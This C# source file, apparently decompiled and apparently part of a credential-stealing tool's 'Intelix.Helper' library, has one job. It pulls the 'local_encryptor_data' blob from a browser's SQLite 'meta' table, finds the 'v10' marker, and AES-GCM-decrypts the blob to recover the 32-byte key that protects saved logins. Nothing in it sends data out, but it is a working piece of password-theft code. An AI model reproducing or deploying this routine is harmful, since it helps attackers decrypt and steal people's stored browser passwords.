using System;
using System.Text;
using Intelix.Helper.Sql;

namespace Intelix.Helper.Encrypted;

public static class LocalEncryptor
{
	public static byte[] ExtractEncryptionKey(SqLite sql, byte[] encryptionKey)
	{
		byte[] array = new byte[0];
		if (sql.ReadTable("meta"))
		{
			for (int i = 0; i < sql.GetRowCount(); i++)
			{
				if (sql.GetValue(i, 0).Equals("local_encryptor_data"))
				{
					array = Encoding.Default.GetBytes(sql.GetValue(i, 1));
					break;
				}
			}
		}
		int num = FindByteSequence(array, Encoding.ASCII.GetBytes("v10"));
		if (num == -1)
		{
			return null;
		}
		byte[] array2 = new byte[96];
		Array.Copy(array, num + 3, array2, 0, 96);
		byte[] array3 = new byte[12];
		Array.Copy(array2, 0, array3, 0, 12);
		int num2 = array2.Length - 12 - 16;
		byte[] array4 = new byte[num2];
		Array.Copy(array2, 12, array4, 0, num2);
		byte[] array5 = new byte[16];
		Array.Copy(array2, array2.Length - 16, array5, 0, 16);
		byte[] array6 = AesGcm256.Decrypt(encryptionKey, array3, null, array4, array5);
		if (BitConverter.ToInt32(array6, 0) == 538050824)
		{
			byte[] array7 = new byte[32];
			Array.Copy(array6, 4, array7, 0, 32);
			return array7;
		}
		return null;
	}

	private static int FindByteSequence(byte[] src, byte[] pattern)
	{
		int num = src.Length - pattern.Length + 1;
		for (int i = 0; i < num; i++)
		{
			if (src[i] != pattern[0])
			{
				continue;
			}
			int num2 = pattern.Length - 1;
			while (num2 >= 1 && src[i + num2] == pattern[num2])
			{
				if (num2 == 1)
				{
					return i;
				}
				num2--;
			}
		}
		return -1;
	}
}